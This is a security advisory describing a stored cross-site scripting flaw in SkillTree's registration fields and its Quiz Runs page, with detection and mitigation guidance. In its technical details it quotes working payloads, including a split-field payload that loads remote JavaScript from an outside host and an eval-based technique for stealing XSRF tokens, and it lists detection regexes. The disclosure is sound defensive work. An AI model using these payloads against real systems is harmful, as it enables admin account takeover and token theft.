CVE-2026-54694 Overview
CVE-2026-54694 is a stored cross-site scripting (XSS) vulnerability in SkillTree, a micro-learning gamification platform maintained by the National Security Agency's open-source program. The flaw affects all versions prior to 4.4.2. Two independent code defects combine into a single exploit chain that executes attacker-controlled JavaScript in an administrator's browser. The account registration endpoint stores firstName, lastName, and nickname values without HTML sanitization. The HighlightedValue.vue component then renders those values through Vue's v-html directive, which writes directly to innerHTML. Any self-registered user can trigger code execution in an admin session with no additional interaction. [CWE-20]
Critical Impact
A self-registered attacker can achieve arbitrary JavaScript execution in an administrator's browser, enabling admin API abuse, cross-site request forgery (CSRF) token theft, and full application takeover.
Affected Products
- SkillTree (skills-service) versions prior to 4.4.2
- StringHighlighter.js component in vulnerable releases
- HighlightedValue.vue component in vulnerable releases
Discovery Timeline
- 2026-09-09 - CVE-2026-54694 published to NVD
- 2026-09-09 - Last updated in NVD database
Technical Details for CVE-2026-54694
Vulnerability Analysis
The vulnerability is a stored XSS chain across two components. StringHighlighter.js constructs an HTML string by interpolating raw value substrings directly into a template literal without HTML entity encoding. HighlightedValue.vue renders the resulting string, along with other unfiltered plain values, using Vue's v-html directive.
Separately, the registration endpoint accepts firstName, lastName, and nickname fields and persists them without sanitization. Each field enforces only a 30-character length limit. When an administrator opens the Quiz Runs page, stored payloads render into the Document Object Model (DOM) and execute automatically.
Three escalation paths are documented. The first is direct script execution using a self-contained payload that fits within 30 characters, such as <img src=x onerror=alert(1)>. The second uses the split-field technique, placing <img src=x in lastName and onerror=import('//nsas.cc/p')> in firstName to load an unbounded external JavaScript file via dynamic import(). The third stages a data-theft payload in window.name through eval(name), allowing the attacker to steal the XSRF token and issue authenticated admin API calls from the victim's browser.
Root Cause
The root cause is missing output encoding combined with unsafe HTML rendering. User-controlled profile fields flow from the registration endpoint into a Vue template that uses v-html instead of text interpolation, bypassing the framework's default escaping.
Attack Vector
Exploitation requires only self-registration and passive administrator navigation. The attacker submits crafted firstName, lastName, or nickname values, then completes a quiz. When an administrator subsequently opens the Quiz Runs page during routine review, the payload executes in the admin's authenticated session.
No code example is reproduced here. See the GitHub Security Advisory GHSA-hqfg-c8wf-w2g8 for full technical detail.
Detection Methods for CVE-2026-54694
Indicators of Compromise
- User records where firstName, lastName, or nickname contain HTML tags, <, >, or event handler substrings such as onerror=, onload=, or onclick=.
- Registration submissions where the combined field content forms partial HTML tags (split-field technique), for example a lastName ending in an unclosed tag opener.
- Outbound requests from administrator browsers to unfamiliar domains immediately after visiting the Quiz Runs page.
- Admin API calls originating from browser sessions with unexpected Referer values or unusual request timing.
Detection Strategies
- Query the user database for regex matches against <[a-z]+, onerror, onload, import\(, or eval\( in profile string fields.
- Inspect web server access logs for POST requests to the registration endpoint containing URL-encoded angle brackets in name fields.
- Deploy a Content Security Policy (CSP) report-only header to surface script-source violations rendered by v-html.
Monitoring Recommendations
- Monitor administrator sessions for anomalous XHR or fetch calls to admin-only endpoints not preceded by user navigation.
- Alert on new outbound connections from admin browser networks to low-reputation domains during Quiz Runs page access.
- Track creation of privileged accounts, project deletions, or bulk data exports that follow shortly after admin visits to user-generated content pages.
How to Mitigate CVE-2026-54694
Immediate Actions Required
- Upgrade SkillTree to version 4.4.2 or later, which contains the patch for CVE-2026-54694.
- Audit existing user profile fields for HTML content and normalize or delete offending records before upgrading.
- Rotate administrator session tokens and XSRF tokens after remediation to invalidate any credentials that may have been exfiltrated.
Patch Information
The SkillTree maintainers released version 4.4.2, which fixes both the missing input sanitization on the registration endpoint and the unsafe v-html rendering in HighlightedValue.vue. Details are published in GitHub Security Advisory GHSA-hqfg-c8wf-w2g8.
Workarounds
- Restrict self-registration until the upgrade is complete, requiring administrator approval or invitation-only onboarding.
- Enforce a strict Content Security Policy that disallows inline event handlers and blocks import() from unapproved origins.
- Instruct administrators to avoid the Quiz Runs page and other views that render user profile fields until patching is verified.
- Add a reverse-proxy or web application firewall rule that rejects registration payloads containing <, >, or event handler substrings in name fields.
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.